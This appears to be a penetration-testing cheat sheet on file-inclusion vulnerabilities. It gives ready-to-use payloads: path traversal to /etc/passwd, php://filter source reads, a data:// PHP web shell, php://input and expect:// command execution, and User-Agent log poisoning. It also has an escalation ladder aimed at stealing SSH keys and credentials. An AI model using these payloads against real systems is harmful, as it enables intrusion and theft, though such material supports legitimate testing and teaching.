Skip to content

File Inclusion

The application takes a path or filename from user input and feeds it to a file-loading function. Operator controls the path → operator reads files. If the loading function also executes the file’s contents → operator gets RCE.

# Probe
?page=../../../../etc/passwd # Linux path traversal
?page=..\..\..\..\windows\win.ini # Windows path traversal
?page=/etc/passwd # absolute path, if function doesn't prefix
# Read PHP source (function executes the file, can't read it directly)
?page=php://filter/read=convert.base64-encode/resource=config
# Get RCE - three common paths
?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7ID8+&cmd=id
?page=php://input + POST body: <?php system($_GET["cmd"]); ?> + ?cmd=id
?page=expect://id # if expect module loaded
# Log poisoning - when wrappers blocked
User-Agent: <?php system($_GET["cmd"]); ?> # in any request
?page=/var/log/nginx/access.log&cmd=id # then include the log

Success indicator: file contents, source code, or command output appearing in the response.

Anywhere the application takes a filename or path from a request and uses it to load content:

  • Templating parameters - ?page=about, ?lang=en, ?view=profile, ?theme=dark
  • File-download features - ?file=invoice.pdf, ?attachment=...
  • Avatar / image display - /profile/<user>/avatar.png (often loads <user>/avatar.png from disk)
  • Include-style operations - anywhere the app stitches partial templates together at request time
  • Configuration endpoints - anything that loads “the configuration for X” by name
  • Multi-language sites - /about/en, /about/es patterns where the path segment selects a file

Anything that smells like “the server is loading a file from disk based on what I sent.”

The single most important property of a file-inclusion sink is whether it just reads the file (returns contents) or executes it (interprets as code). This determines which attacks work.

LanguageFunctionReadExecuteRemote URL
PHPinclude() / include_once()yesyesyes
PHPrequire() / require_once()yesyesno
PHPfile_get_contents()yesnoyes
PHPfopen() / file() / readfile()yesnono
NodeJSfs.readFile() / fs.sendFile()yesnono
NodeJSres.render() (Express)yesyesno
Java<jsp:include>yesnono
Java<c:import>yesyesyes
.NETResponse.WriteFile()yesnono
.NET@Html.Partial()yesnono
.NET@Html.RemotePartial()yesnoyes
.NET<!--#include-->yesyesyes

If the function executes the file, including a PHP/JSP/Razor file shows you the rendered output but not the source. Reading source code requires the PHP filters trick or equivalent.

If the function only reads, including any file gives you its raw contents - easier to read source, harder to escalate to RCE (you can’t just include a PHP file you uploaded).

Remote URL support is the door to RFI.

1. Confirm LFI exists - can you read /etc/passwd or similar?
├─ Yes → continue
└─ No → check basic bypasses (filter, encoding, traversal form)
→ see [Filter bypasses]
2. Does the function execute or only read?
├─ Read only → focus on file disclosure
│ → see [Basic LFI] and [PHP filters]
└─ Executes → can reach RCE; continue
3. Try PHP wrappers for direct RCE
├─ data:// works → done → see [Wrappers]
├─ php://input → done
└─ expect:// → done
4. Wrappers blocked - try a chain
├─ App has file upload? → [File-upload chain]
├─ App writes server logs you can read? → [Log poisoning]
├─ Remote URL inclusion? → [RFI]
└─ PHP session file readable? → [Log poisoning § PHP sessions]
  1. Read /etc/passwd as a first probe?Basic LFI
  2. Path traversal blocked or filtered?Filter bypasses
  3. Function reads source - want PHP code?PHP filters
  4. Function executes - go for RCE via wrappersWrappers
  5. Wrappers blocked, app has uploads?File-upload chain
  6. Wrappers blocked, can read server logs?Log poisoning
  7. Function supports remote URLs?RFI
  8. Need to find parameters, webroot, log paths?Enumeration
TierWhat you can doPath
1Confirmed file read of public files (/etc/passwd, hosts file)Basic path traversal
2Read application config - database passwords, API keys, session secretsRead /var/www/html/config.php etc.
3Read source code via filterphp://filter/convert.base64-encode/resource=...
4Read SSH private keys, sudo creds, history filesRead /root/.ssh/id_rsa, /home/*/.bash_history
5RCE via wrapperdata://, php://input, expect://
6RCE via chainFile upload + LFI, log poisoning, RFI

Tiers 1-3 are nearly free on most vulnerable apps. Tier 4 frequently turns LFI into “compromise the box” without ever reaching RCE through the LFI itself - read SSH keys, log in over SSH, done. Tier 5-6 give RCE directly via the web application.

Read /etc/passwd as the first probe, always. It’s near-universally present on Linux, world-readable, and has a recognizable format. A failed probe is informative - tells you whether traversal works, whether the path is filtered, whether an extension is being appended.

Verbose errors are gold. When LFI fails, the error message often shows the full path the function tried to load. That reveals the path prefix, the extension suffix, and whether traversal was sanitized. PHP errors like “failed to open stream: No such file or directory in /var/www/html/index.php” are giving you the webroot.

Don’t forget Windows. If the server is Windows, /etc/passwd doesn’t exist - try C:\Windows\System32\drivers\etc\hosts, C:\Windows\win.ini, C:\inetpub\wwwroot\web.config. Path separators are flexible (forward slashes usually work even on Windows).

Check allow_url_include early. It’s the prerequisite for data://, php://input, and http://-based RFI. Reading /etc/php/X.Y/apache2/php.ini via PHP filters and grepping for allow_url_include tells you in one request whether the high-value wrapper paths are open.

The Basic LFI page is the right starting point if you’re new to a target. The wrapper and log-poisoning pages assume you’ve already confirmed LFI and are working toward RCE.